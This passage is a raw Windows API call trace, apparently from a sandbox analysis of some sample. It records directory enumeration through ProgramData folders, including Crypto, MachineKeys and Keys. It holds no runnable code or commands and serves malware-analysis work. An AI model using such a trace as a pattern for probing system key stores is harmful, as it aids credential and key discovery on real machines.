dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0194.316] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x28e82a8b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 0 [0194.316] FindClose (in: hFindFile=0x4532280 | out: hFindFile=0x4532280) returned 1 [0194.316] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0194.317] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffc2f2, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0194.318] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0194.318] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffc2f2, cFileName="Comms", cAlternateFileName="")) returned 1 [0194.321] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0194.321] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffc2f2, cFileName="Desktop", cAlternateFileName="")) returned 1 [0194.321] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0194.321] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffc2f2, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0194.321] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0194.321] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffc2f2, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0194.324] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0194.324] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d9bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup", cAlternateFileName="")) returned 0 [0194.324] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0194.324] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0194.324] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c2b2f4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfa011b19, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfa011b19, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRun", cAlternateFileName="CLICKT~1")) returned 1 [0194.415] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0194.415] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a5650a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0194.417] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0194.417] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a5650a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0194.417] FindClose (in: hFindFile=0x4532500 | out: hFindFile=0x4532500) returned 1 [0194.417] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0194.417] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", cAlternateFileName="19B111~1")) returned 1 [0194.419] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0194.419] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ec13b1, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0194.421] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0194.422] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ec13b1, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0194.422] FindClose (in: hFindFile=0x4532380 | out: hFindFile=0x4532380) returned 1 [0194.422] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0194.422] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="201EB7DF-C721-4B8B-9C81-A09DE7F931E6", cAlternateFileName="201EB7~1")) returned 1 [0194.424] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0194.424] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0194.426] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0194.426] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0194.426] FindClose (in: hFindFile=0x4532500 | out: hFindFile=0x4532500) returned 1 [0194.426] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0194.426] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3dbb3c9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8512127a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8512127a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7b6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DeploymentConfig.0.xml", cAlternateFileName="DEPLOY~1.XML")) returned 1 [0194.428] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0194.428] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3cb8e906, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3cb8e906, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{1A8308C7-90D1-4200-B16E-646F163A08E8}", cAlternateFileName="{1A830~1")) returned 0 [0194.428] FindClose (in: hFindFile=0x4531b40 | out: hFindFile=0x4531b40) returned 1 [0194.428] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0194.428] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47E8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 0 [0194.428] FindClose (in: hFindFile=0x4532500 | out: hFindFile=0x4532500) returned 1 [0194.428] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0194.430] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Packages", cAlternateFileName="")) returned 0 [0194.430] FindClose (in: hFindFile=0x4532380 | out: hFindFile=0x4532380) returned 1 [0194.430] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0194.431] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1 [0194.431] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0194.431] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ShortcutBackups", cAlternateFileName="SHORTC~1")) returned 0 [0194.431] FindClose (in: hFindFile=0x4532380 | out: hFindFile=0x4532380) returned 1 [0194.431] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0194.431] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 0 [0194.431] FindClose (in: hFindFile=0x4532340 | out: hFindFile=0x4532340) returned 1 [0194.431] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0194.431] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8826bb5f, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x683c4eba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x683c4eba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProductReleases", cAlternateFileName="PRODUC~1")) returned 1 [0195.021] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0195.021] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0195.025] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0195.025] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0195.025] FindClose (in: hFindFile=0x4532500 | out: hFindFile=0x4532500) returned 1 [0195.025] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0195.025] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A6A87302-92AE-41F2-AC52-73F5EE18259F", cAlternateFileName="A6A873~1")) returned 1 [0195.027] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0195.027] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0195.029] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0195.029] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0195.029] FindClose (in: hFindFile=0x4532500 | out: hFindFile=0x4532500) returned 1 [0195.029] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0195.029] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A6A87302-92AE-41F2-AC52-73F5EE18259F", cAlternateFileName="A6A873~1")) returned 0 [0195.029] FindClose (in: hFindFile=0x4532380 | out: hFindFile=0x4532380) returned 1 [0195.029] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0195.029] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UserData", cAlternateFileName="")) returned 1 [0195.030] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0195.030] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 1 [0195.034] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0195.034] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 0 [0195.034] FindClose (in: hFindFile=0x4532140 | out: hFindFile=0x4532140) returned 1 [0195.034] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0195.036] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0195.045] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0195.045] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 0 [0195.045] FindClose (in: hFindFile=0x4532380 | out: hFindFile=0x4532380) returned 1 [0195.045] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0195.045] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Keys", cAlternateFileName="")) returned 1 [0195.047] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0195.047] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x416372c8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x416372c8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PCPKSP", cAlternateFileName="")) returned 1 [0195.048] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0195.048] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x14, 